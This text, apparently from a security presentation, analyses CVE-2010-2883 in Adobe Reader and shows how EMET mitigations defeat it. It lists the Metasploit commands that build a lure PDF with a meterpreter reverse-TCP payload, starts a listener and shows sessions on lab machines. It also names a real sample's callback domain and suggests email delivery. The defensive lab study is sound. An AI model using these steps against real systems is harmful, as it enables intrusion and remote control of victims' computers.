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Why do we care? 

• Microsoft distributions are prevalent 

▫ ~90% of market share 

• Applications are vulnerable 

▫ Acrobat dominates the PDF market  

▫ 10 Adobe Reader 8.x/9.x advisories for 2010 

• Time from disclosure to fix 

▫ 0-day increases this time 

• Patching is afterthought 

▫ Third party application patching even more so 



Description of exploit 

• CVE-2010-2883 

• Victim must interact 

• Application hangs, denial of service for app 

• “PDF takes advantage of an unsecure "strcat()" 
call in "CoolType.dll", which results in a 
common stack overflow.” (VUPEN) 

• Can exploit Windows 7 

• Can get privileges of the users login context 

 

 

 



Delivering the exploit 

• Place malicious code on web server or other 
distribution point. 

• Social engineer end-user into executing file 

▫ Mass email 

▫ Targeted attack 

• PDF’s are still warm and fuzzy? 

▫ Users may not consider embedded evil 

▫ Ability to embed other object, i.e. Adobe Flash 

▫ Forms, JavaScript 

 

 



Delivering the exploit 

• Deceptive email attachment which unsuspecting 
end-user may open starting the exploit process. 



Static Analysis 

• Taking a look under the hood 

▫ Known traits of other malware 

• Tools Used 

▫ PDF-Tools by Didier Stevens 

 pdfid.py 

 pdf-parser.py 

 



Static Analysis 



Static Analysis 

• /AA indicate an automatic action to be 
performed when the page/document is viewed. 



Static Analysis 

• 26 Contains obfuscated Javascript 



Dynamic analysis 

• Use live sample 

• Tools 

▫ Wireshark 

▫ Process Monitor 

• Analyze traffic 

▫ Remote connections 

• Interacting with anything else? 

▫ Modifying local system 

 

 

 



Dynamic analysis 

• Windows 7 

• Administrative context 

▫ Want to see what it is capable of with 
administrator rights 

• Host only network on VM guests 
 

 



Dynamic Analysis 

• DNS request is made for academyhouse.us 

 



Dynamic Analysis 



Dynamic Analysis 

• Files are create on local file-system, hlp.cpl 

 



Dynamic Analysis 



Dynamic Analysis 

• An invalid certificate is found 



Description of Metasploit module 

• Metasploit project has a module 

▫ Usually safer then live samples 

•  This module exploits a vulnerability in the 
Smart INdependent Glyplets (SING) table 
handling within versions 8.2.4 and 9.3.4 of 
Adobe Reader. Prior version are assumed to be 
vulnerable as well. (Metasploit) 

 



Description of Metasploit module 

• Payload creation in Metasploit 

def exploit 

 ttf_data = make_ttf() 

                js_data = make_js(payload.encoded) 

                # Create the pdf 

                pdf = make_pdf(ttf_data, js_data) 

                print_status("Creating 
'#{datastore['FILENAME']}' file...") 

                file_create(pdf) 



Exploitation using Metasploit 

• Tools used for exploitation: 

▫ VMware 7.1.3 

▫ Microsoft Windows XP sp3 

▫ Microsoft Windows 7 

▫ Ubuntu 10.04 

▫ Metasploit v3.5.1-testing, svn r11266 

▫ EMET 2.0.3 

▫ Acrobat Reader 9.3.4 



Environment 

• VMware workstation 

▫ Host isolation 

▫ Snapshots 

 Avoid bare-metal rebuilds 

▫ Host-only network 

▫ VM aware malware (not this case) 



Exploitation using Metasploit 

• Define everything Metasploit needs: 
msf > use 
exploit/windows/fileformat/adobe_cooltype_sing  
msf exploit(adobe_cooltype_sing) > set PAYLOAD 
windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp 
msf exploit(adobe_cooltype_sing) > set LHOST 
192.168.234.129 
LHOST => 192.168.234.129 
msf exploit(adobe_cooltype_sing) > set FILENAME  
free_money.pdf 
FILENAME => free_money.pdf 



Exploitation using Metasploit 

• Generate PDF containing exploit and reverse shell. 
msf exploit(adobe_cooltype_sing) > exploit 
[*] Creating 'free_money.pdf' file... 
[*] Generated output file 
/home/nexus/msf3/data/exploits/free_money.pdf 
[*] Exploit completed, but no session was created. 
Generate PDF containing exploit 
• Enable listener 
$ sudo ./msfcli exploit/multi/handler 
PAYLOAD=windows/meterpreter/reverse_tcp 
LHOST=192.168.234.129 E 



Exploitation using Metasploit 

• Successful Windows XP exploitation evidence. 

meterpreter > getuid 

Server username: WINXPVM\xUser 

meterpreter > sysinfo 

Computer: WINXPVM 

OS      : Windows XP (Build 2600, Service Pack 3). 

Arch    : x86 

Language: en_US 



Exploitation using Metasploit 

• Successful Windows 7 exploitation evidence. 

meterpreter > getuid  

Server username: WIN7\xUser 

meterpreter > sysinfo  

Computer: WIN7 

OS      : Windows 7 (Build 7600, ). 

Arch    : x86 

Language: en_US 



Exploit Detection 

• Anti-Virus signatures 

▫ Signatures may not be deployed in time (0-day). 

▫ Remote users not following policy 

 Pivot point via VPN 

• Network traffic 

▫ Look for unique signatures 

 Variants 

 May cause false positives 

 



Exploit Detection 

• Unique strings could be used from detection 
 



Exploit Detection 

• Grab some traffic 

▫ tcpdump version 4.0.0 

▫ libpcap version 1.0.0 

▫ Wireshark Version 1.4.2 (SVN Rev 34959 from 
/trunk-1.4) 

• $ sudo tcpdump -i eth1 -nnvvX -s 0 -w 
dump.pcap 

▫ Toggles help obtain results 

▫ Filters can used for post-processing 



Exploit Detection 

• PDF downloaded, looking for unique strings 



Exploit Detection 

• Get request for document 



How EMET helps 

• Pros: 

▫ Ability to Opt-In per application 

▫ Configurable via CMD and GUI 

▫ Protects third-party applications 

 Adobe Acrobat Reader and Flash 

 Java, browsers, etc. 

▫ Free download from Microsoft 

 https://www.microsoft.com/downloads/en/details.a
spx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-
362559fd2f04 

https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04
https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04
https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04
https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04
https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04
https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04
https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04
https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04
https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04
https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04
https://www.microsoft.com/downloads/en/details.aspx?FamilyID=c6f0a6ee-05ac-4eb6-acd0-362559fd2f04


How EMET helps 

• Cons: 

▫ May cause application instability 

 Have not experienced in my testing 

▫ No distribution method, i.e. MSI 

▫ No group policy snap-in  

 management or deployment 



How EMET helps 

• Dynamic Data Execution Prevention (DEP) 

• Structure Exception Handler Overwrite 
Protection (SEHOP) 

• Heap Spray Allocation 

• Null Page Allocation 

• Export Address Table Access Filtering (EAF) 

• Mandatory Address Space Layout 
Randomization (ASLR) 



Exploitation Defense using EMET 

• Use Metasploit scenario 

▫ Windows XP and 7 

• Using EMET to thwart CVE-2010-2883 
exploitation 

• EAF 

▫ Windows XP and 2003 Server 

• ASLR 

▫ Vista, Windows 7 and 2008 Server 

 

 



Exploitation Defense using EMET 



Exploitation Defense using EMET 

• Windows 7 adds mandatory ASLR 

▫ May cause issues for applications 



Exploitation Defense using EMET 

• Windows XP CoolType.dll base address before 
EMET 



Exploitation Defense using EMET 

• Windows XP CoolType.dll base address changes 
after EMET 



Exploitation Defense using EMET 

• Windows 7 icucnv36.dll before EMET 



Exploitation Defense using EMET 

• Windows 7 icucnv36.dll base is modified after 
EMET. 



Summary 

• After EMET is enabled for Acrobat Reateder, 
exploitation through Metasploit no longer 
works. 

• Tons of vulnerable software applications 

• EMET is free from Microsoft 

• EMET works 
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